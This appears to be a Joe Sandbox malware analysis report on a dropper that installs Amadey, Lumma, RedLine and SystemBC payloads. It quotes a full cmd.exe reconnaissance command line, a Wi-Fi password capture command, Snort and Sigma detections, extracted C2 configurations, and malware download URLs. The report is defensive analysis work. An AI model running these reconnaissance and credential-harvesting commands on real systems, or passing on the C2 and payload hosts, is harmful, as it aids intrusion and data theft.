CommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, ParentProcessId: 8068, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 620, ProcessCommandLine: C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager, ProcessId: 8008, ProcessName: svchost.exe

Stealing of Sensitive Information

Sigma detected: Capture Wi-Fi password

Source: Process started

Author: Joe Security: Data: Command: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1000005001\judit.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe, ParentProcessId: 8068, ParentProcessName: stub.exe, ProcessCommandLine: C:\Windows\system32\cmd.exe /c "netsh wlan show profiles", ProcessId: 8144, ProcessName: cmd.exe

Snort Signatures

ETPRO TROJAN Amadey CnC Activity M3 - Source IP: 192.168.2.11 - Destination IP: 77.91.77.81

Timestamp:	06/04/24-23:08:42.702746
SID:	2856147
Source Port:	49703
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.759122
SID:	2052917
Source Port:	56703
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.792094
SID:	2052915
Source Port:	57701
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.817564
SID:	2052916
Source Port:	62829
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ETPRO TROJAN Amadey CnC Response M1 - Source IP: 77.91.77.81 - Destination IP: 192.168.2.11

Timestamp:	06/04/24-23:08:43.922986
SID:	2856122
Source Port:	80
Destination Port:	49703
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey Bot Activity (POST) - Source IP: 192.168.2.11 - Destination IP: 77.91.77.81

Timestamp:	06/04/24-23:09:11.046288
SID:	2044623
Source Port:	49712
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.804042
SID:	2052913
Source Port:	64033
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.776468
SID:	2052912
Source Port:	59059
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.744747
SID:	2052921
Source Port:	49201
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.902108
SID:	2052914
Source Port:	54524
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 - Source IP: 192.168.2.11 - Destination IP: 77.91.77.81

Timestamp:	06/04/24-23:09:13.894774
SID:	2044696
Source Port:	49713
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup - Source IP: 192.168.2.11 - Destination IP: 1.1.1.1

Timestamp:	06/04/24-23:09:13.890006
SID:	2052920
Source Port:	53044
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: DPqKF5vqpe.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://77.91.77.81/lend/services64.exe/	Sophos S4: Label: malware repository uri
Source: https://detailbaconroollyws.shop/apiU	Sophos S4: Label: malware repository domain
Source: https://detailbaconroollyws.shop/apiz	Sophos S4: Label: malware repository domain
Source: http://77.91.77.81/lend/services64.exe/	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/lend/lumma123.exe	Sophos S4: Label: malware repository uri
Source: https://patternapplauderw.shop/e	Sophos S4: Label: malware repository domain
Source: https://patternapplauderw.shop/3	Sophos S4: Label: malware repository domain
Source: https://relaxtionflouwerwi.shop/H	Sophos S4: Label: malware repository domain
Source: https://patternapplauderw.shop/I	Sophos S4: Label: malware repository domain
Source: https://patternapplauderw.shop/P	Sophos S4: Label: malware repository domain
Source: https://detailbaconroollyws.shop/apiU	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/lend/upd.exe	Sophos S4: Label: malware repository uri
Source: https://messtimetabledkolvk.shop/api	Sophos S4: Label: malware repository domain
Source: https://detailbaconroollyws.shop/apiz	Avira URL Cloud: Label: malware
Source: http://77.91.77.81/lend/lrthijawd.exe	Avira URL Cloud: Label: malware
Source: https://patternapplauderw.shop/e	Avira URL Cloud: Label: malware
Source: https://relaxtionflouwerwi.shop/H	Avira URL Cloud: Label: malware
Source: https://patternapplauderw.shop/3	Avira URL Cloud: Label: malware
Source: https://patternapplauderw.shop/I	Avira URL Cloud: Label: malware
Source: https://patternapplauderw.shop/P	Avira URL Cloud: Label: malware
Source: https://messtimetabledkolvk.shop/api	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Avira: detection malicious, Label: HEUR/AGEN.1318580
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1318580

Found malware configuration

Source: 0000001C.00000002.2405960200.000000000409A000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: RedLine {"C2 url": "185.172.128.33:8970", "Bot Id": "@LOGSCLOUDYT_BOT", "Authorization Header": "3b888690d495b9792a58ef1c36d35d19"}
Source: 0000002C.00000003.2085711732.0000018E8C626000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: SystemBC {"HOST1": "clwtumberaero.cyou", "HOST2": "185.43.220.45", "PORT1": "4001", "DNS1": "5.132.191.104", "DNS2": "ns1.vic.au.dns.opennic.glue", "DNS3": "ns2.vic.au.dns.opennic.glue"}
Source: axplong.exe.3932.2.memstrmin	Malware Configuration Extractor: Amadey {"C2 url": ["http://77.91.77.81/Kiru9gu/index.php"]}

Multi AV Scanner detection for dropped file

Source: C:\ProgramData\WindowsServices\WindowsAutHost	ReversingLabs: Detection: 28%
Source: C:\ProgramData\okili\peombdb.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\lrthijawd[1].exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9H3TYFD3\redline123123[1].exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	ReversingLabs: Detection: 91%
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	ReversingLabs: Detection: 79%
Source: C:\Users\user\AppData\Local\Temp\1000007001\redline123123.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	ReversingLabs: Detection: 52%
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	ReversingLabs: Detection: 63%
Source: C:\Users\user\AppData\Local\Temp\1000012001\lrthijawd.exe	ReversingLabs: Detection: 36%
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	ReversingLabs: Detection: 28%
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	ReversingLabs: Detection: 42%
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	ReversingLabs: Detection: 81%
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	ReversingLabs: Detection: 65%
Source: C:\Users\user\AppData\Roaming\configurationValue\One.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Roaming\configurationValue\svhoost.exe	ReversingLabs: Detection: 87%

Multi AV Scanner detection for submitted file

Source: DPqKF5vqpe.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.8% probability

Machine Learning detection for dropped file

Source: C:\ProgramData\okili\peombdb.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\services64[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000008001\upd.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\upd[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\lumma123[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\MonsterUpdateService\Monster.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Joe Sandbox ML: detected
Source: C:\ProgramData\WindowsServices\WindowsAutHost	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000009001\lumma123.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000014001\services64.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\8254624243\axplong.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\DQNVS06W\judit[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W9FILL1W\gold[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\RarSFX1\jergs.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: DPqKF5vqpe.exe

Joe Sandbox ML: detected

Source: DPqKF5vqpe.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdbNN source: stub.exe, 0000000F.00000002.2537649243.00007FFEEE27C000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\un63jb3x\output.pdb( source: gold.exe, 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_lzma.pdb source: stub.exe, 0000000F.00000002.2537649243.00007FFEEE27C000.00000002.00000001.01000000.00000013.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\sqlite3.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-mijilod8\src\rust\target\release\deps\cryptography_rust.pdbo source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\select.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\unicodedata.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2517206515.00007FFEDCFDC000.00000002.00000001.01000000.00000022.sdmp
Source:	Binary string: ossl_ec_GFp_simple_group_set_curvecrypto\ec\ecp_smpl.cossl_ec_GFp_simple_group_check_discriminantossl_ec_GFp_simple_point_set_affine_coordinatesossl_ec_GFp_simple_point_get_affine_coordinatesossl_ec_GFp_simple_make_affineossl_ec_GFp_simple_points_make_affineossl_ec_GFp_simple_field_invossl_ec_GFp_simple_blind_coordinatescompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG";CPUINFO: OPENSSL_ia32cap=0x%llx:0x%llxOPENSSL_ia32cap env:%sos-specific.dllCPUINFO: crypto\initthread.cOPENSSL_ia32cap source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: k1k2k3X9_62_PENTANOMIALp.otherp.onBasisp.tpBasisp.ppBasismX9_62_CHARACTERISTIC_TWOp.primep.char_twofieldTypeX9_62_FIELDIDabX9_62_CURVEfieldIDcurvebaseordercofactorECPARAMETERSvalue.named_curvevalue.parametersvalue.implicitlyCAECPKPARAMETERSprivateKeyparameterspublicKeyEC_PRIVATEKEYec_asn1_group2fieldidcrypto\ec\ec_asn1.cec_asn1_group2curveEC_GROUP_get_ecparametersEC_GROUP_get_ecpkparametersEC_GROUP_new_from_ecparametersEC_GROUP_new_from_ecpkparametersi2d_ECPKParametersd2i_ECPrivateKeyi2d_ECPrivateKeyi2d_ECParametersd2i_ECParameterso2i_ECPublicKeyi2o_ECPublicKeyossl_ec_group_new_excrypto\ec\ec_lib.cEC_GROUP_copyEC_GROUP_set_generatorEC_GROUP_set_curveEC_GROUP_get_curveEC_GROUP_get_degreeEC_GROUP_check_discriminantEC_POINT_newEC_POINT_copyEC_POINT_set_to_infinityEC_POINT_set_Jprojective_coordinates_GFpEC_POINT_set_affine_coordinatesEC_POINT_get_affine_coordinatesEC_POINT_addEC_POINT_dblEC_POINT_invertEC_POINT_is_at_infinityEC_POINT_is_on_curveEC_POINT_cmpEC_POINT_mulEC_GROUP_get_trinomial_basisEC_GROUP_get_pentanomial_basisgroup_new_from_nameossl_ec_group_set_paramsencodingdecoded-from-explicitEC_GROUP_new_from_paramsgeneratorcompiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG"3.2.1built on: Fri May 3 00:14:50 2024 UTCplatform: VC-WIN64AOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-3"MODULESDIR: "C:\Program Files\OpenSSL\lib\ossl-modules"CPUINFO: N/Anot availablecrypto\init.cOPENSSL_init_cryptocrypto\bio\bio_lib.cBIO_new_exbio_read_internbio_write_internBIO_sendmmsgBIO_recvmmsgBIO_putsBIO_getsBIO_get_line BIO_ctrlBIO_callback_ctrlBIO_find_type source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2536403239.00007FFEEE0C5000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: D:\_w\1\b\libssl-1_1.pdb@@ source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2536403239.00007FFEEE0C5000.00000002.00000001.01000000.0000001D.sdmp
Source:	Binary string: C:\Users\runneradmin\AppData\Local\Temp\pip-req-build-mijilod8\src\rust\target\release\deps\cryptography_rust.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\un63jb3x\output.pdb source: gold.exe, 00000007.00000002.2272912407.00000000008FC000.00000002.00000001.01000000.00000009.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ssl.pdb source: stub.exe, 0000000F.00000002.2536788711.00007FFEEE10D000.00000002.00000001.01000000.0000001B.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASM source: judit.exe, 0000000C.00000003.1950589359.000001DD970CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2519060955.00007FFEDD23F000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python3.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2540122250.00007FFEF3F61000.00000002.00000001.01000000.0000000F.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\_ctypes.pdb source: stub.exe, 0000000F.00000002.2539535061.00007FFEF3F40000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\python310.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD975EB000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\_w\1\b\libcrypto-1_1.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD9714D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: compiler: cl /Zi /Fdossl_static.pdb /MT /Zl /Gs0 /GF /Gy /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -D"OPENSSL_BUILDING_OPENSSL" -D"OPENSSL_SYS_WIN32" -D"WIN32_LEAN_AND_MEAN" -D"UNICODE" -D"_UNICODE" -D"_CRT_SECURE_NO_DEPRECATE" -D"_WINSOCK_DEPRECATED_NO_WARNINGS" -D"NDEBUG" source: judit.exe, 0000000C.00000003.1950589359.000001DD97974000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_MONT5 -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DKECCAK1600_ASM -DRC4_ASM -DMD5_ASM -DAESNI_ASM -DVPAES_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DX25519_ASM -DPOLY1305_ASMOpenSSL 1.1.1n 15 Mar 2022built on: Tue Mar 15 18:32:50 2022 UTCplatform: VC-WIN64A-masmOPENSSLDIR: "C:\Program Files\Common Files\SSL"ENGINESDIR: "C:\Program Files\OpenSSL\lib\engines-1_1"not available source: judit.exe, 0000000C.00000003.1950589359.000001DD970CA000.00000004.00000020.00020000.00000000.sdmp, stub.exe, 0000000F.00000002.2519060955.00007FFEDD23F000.00000002.00000001.01000000.0000001C.sdmp
Source:	Binary string: C:\A\40\b\bin\amd64\pyexpat.pdb source: judit.exe, 0000000C.00000003.1950589359.000001DD97242000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008DE614 FindFirstFileExW,	7_2_008DE614
Source: C:\Users\user\AppData\Local\Temp\1000004001\gold.exe	Code function: 7_2_008DEAF8 FindFirstFileExW,FindNextFileW,FindClose,FindClose,	7_2_008DEAF8
Source: C:\Users\user\AppData\Local\Temp\1000005001\judit.exe	Code function: 12_2_000001DD940CDCE0 FindFirstFileExW,	12_2_000001DD940CDCE0

Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html
Source: C:\Users\user\AppData\Local\Temp\onefile_7984_133620089578012476\stub.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2856147 ETPRO TROJAN Amadey CnC Activity M3 192.168.2.11:49703 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2856122 ETPRO TROJAN Amadey CnC Response M1 77.91.77.81:80 -> 192.168.2.11:49703
Source: Traffic	Snort IDS: 2044623 ET TROJAN Amadey Bot Activity (POST) 192.168.2.11:49712 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2052921 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:49201 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052917 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:56703 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052912 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:59059 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052915 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:57701 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052913 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:64033 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052916 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:62829 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052920 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:53044 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2044696 ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M2 192.168.2.11:49713 -> 77.91.77.81:80
Source: Traffic	Snort IDS: 2052914 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup 192.168.2.11:54524 -> 1.1.1.1:53

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	IPs: 77.91.77.81
Source: Malware configuration extractor	URLs: 185.172.128.33:8970
Source: Malware configuration extractor	URLs: clwtumberaero.cyou
Source: Malware configuration extractor	URLs: 185.43.220.45

Performs DNS queries to domains with low reputation

Source:	DNS query: out.raranride.xyz
Source:	DNS query: securesmtp.raranride.xyz

Tries to resolve many domain names, but no domain seems valid

Source: unknown	DNS traffic detected: query: mail.f470ed6e02.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.kamidebuffet.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: com.lenovo.serviceit replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.rhrk.unil-kl.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: messtimetabledkolvk.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.dviodigital.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.timezoneit.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: kmdkdkdk.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: securesmtp.o-k.es replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.alunos.estacio.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: gufihyv.wolomin.pl replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.raranride.xyz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.my-mb.it replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.micaro.de replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.logoshines.co.uk replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: secure.fiestabuffet.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: smtp.borntechies.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: aupe.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.ultratempo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.pretlist.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.mogaha.go.kr replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.estpo.bf replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: flybondivirtual.com.ar replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: understanndtytonyguw.shop replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.ontariosewingautomation.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: secure.colton.k12.ca.us replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.peakperform.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: mail.timezoneit.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: out.stauseetaucher.de replaycode: Name error (3)
